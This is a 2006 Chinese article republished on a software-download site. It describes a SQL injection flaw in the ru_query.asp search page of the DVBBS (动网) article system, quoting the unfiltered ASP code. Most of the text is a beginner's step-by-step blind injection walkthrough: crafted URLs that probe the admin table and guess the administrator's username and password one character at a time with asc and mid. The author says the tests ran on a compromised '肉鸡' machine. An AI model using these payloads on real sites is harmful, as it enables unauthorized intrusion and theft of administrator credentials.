软件首页 | 网络工具 | 系统工具 |多媒体类 |图形图像 |桌面工具 |数码软件 | 游戏娱乐 |管理软件 |其他类别 |教育教学 | 最新更新

文章资讯图形图像网络冲浪操作系统工具软件办公软件媒体动画精文荟萃认证考试网页设计 技术开发专栏

您的位置:首页-> 资讯中心-> 网络冲浪-> 防范措施-> 动网文章的新漏洞

防范措施

系统安全
网络安全
防范措施
黑客天空
病毒快报
网页浏览
服 务 器
网关代理
局域网专栏
初学上网
网络技术
网络其他
安全资讯

本类阅读TOP10

·危险!WinRAR自解压程序可能为所欲为
·防范ASP木马
·恶意代码与网络安全(1)
·主动防御入侵
·彻底封杀Ping漏洞
·DOS攻击原理以及常见方法介绍
·使用四款防黑客软件的体会
·黑客离我远一点
·痛不懂--安全首先在于意识
·网上“防黑”之108招

精品推荐
动网文章的新漏洞

作者:未知 来源:未知 加入时间:2006-8-10 PC软件站

写给新手。。。。。。。。
因为当初想不通过管理来改欲望的文章,就看了一下动网文章的代码,发现了一个漏洞,同样是一个变量未过滤的漏洞,经测试,动网官方的文章系统也有此问题。
漏洞在ru_query.asp中,影响版本:所有。
看其中如下代码:
if request("classid")="" then
classid=""
classname="所有文章"
'classid="classid=1 and "
'sql="select class from Aclass where classid=1"
'rs.open sql,conn,1,1
'classname=rs("class")
'rs.close
else
classid="classid="&cstr(request("classid"))&" and "
sql="select class from Aclass where classid="&cstr(request("classid"))
rs.open sql,conn,1,1
classname=rs("class")
rs.close
end if
if request("Nclassid")="" then
Nclassid=""
Nclassname="所有文章"
else
Nclassid=" Nclassid="&cstr(request("Nclassid"))&" and "
sql="select Nclass from ANclass where Nclassid="&cstr(request("Nclassid"))
rs.open sql,conn,1,1
Nclassname=rs("Nclass")
rs.close
end if
 呵呵,classid,nclassid都没有过滤,而且不用SEESION,(废话!这怎么要啊?!)呵呵,很简单,用一个就行了,好了我门就来实战一次,
我在肉鸡上安装了 动网文章3。4 用户名:admin 密码:admin86
第一步,截获数据
进入搜索页面,然后随便添,关键字我添的是test,好,停!打开wsockexpert选择监视此IE,然后转到IE点搜索,这时wsocexpert里就出数据包了,如下:
action=title&classid=&Nclassid=&keyword=test&Submit=%CB%D1%CB%F7
转换的IE的地址即
http://ip/ru_query.asp?action=title&classid=1&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
好了!
第二步:测试管理员用户名 
我门利用classid进行注入攻击
http://ip/ru_query.asp?action=title&classid=1 and 1=2&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
因为classid=1 and 1=2是假,这时出错的信息是500,服务器内部错误,
http://ip/ru_query.asp?action=title&classid=1 and 1=(select min(id) from admin where flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
 注:flag=1 为管理员
500了,说明ID不为1,
http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
返回了文章,OK,管理员ID=2
http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where len(username)>1 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
开始测试用户名长度,返回了,长度大于1,呵呵当然了
然后依次试,当提交如下时
http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where len(username)>=5 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
返回了,说明用户名的长度为5
开始测试用户名第一位
http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where asc(mid(username,1,1))>90 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
MID函数可以把密码分成若干部分取出,使用方法 MID(字符串,起始位,取出的字符串的长度),我的这句是说把PASSWORD中的第一位字符取出, ASC可以把字母转换成ASC码
然后我就判断他的ASC码的范围
返回了,说明他的第一位ASC码大于90
http://ip/ru_query.asp?action=title&classid=1[/url] and 2=(select min(id) from admin where asc(mid(username,1,1))>100 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
500错误了,说明第一位ASC码小于100,最后
http://ip/ru_query.asp?action=title&classid=1[/url] and 2=(select min(id) from admin where asc(mid(username,1,1))=97 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7
返回了,呵呵第一位是97,对应的是a
就这样依次猜可以得出用户名为admin
猜密码的时候仅把变量username 改为password即可,。
就这么简单,
同时要说明的是,asc ,mid为VBSCRIPT的函数,要是服务器端为JAVASCIPT就不能使了,呵呵,譬如动网官方的服务器,应改为对应的JAVA函数。


相关文章

相关软件

我为人人《《==》》人人为我 关于我们 | 帮助(?)| 广告服务 | 版权声明 | 商业合作 | 发展历程 | 加盟我们 | 联系我们
PC下载版权所有 网站维护: 独行侠 业务联系QQ:6838837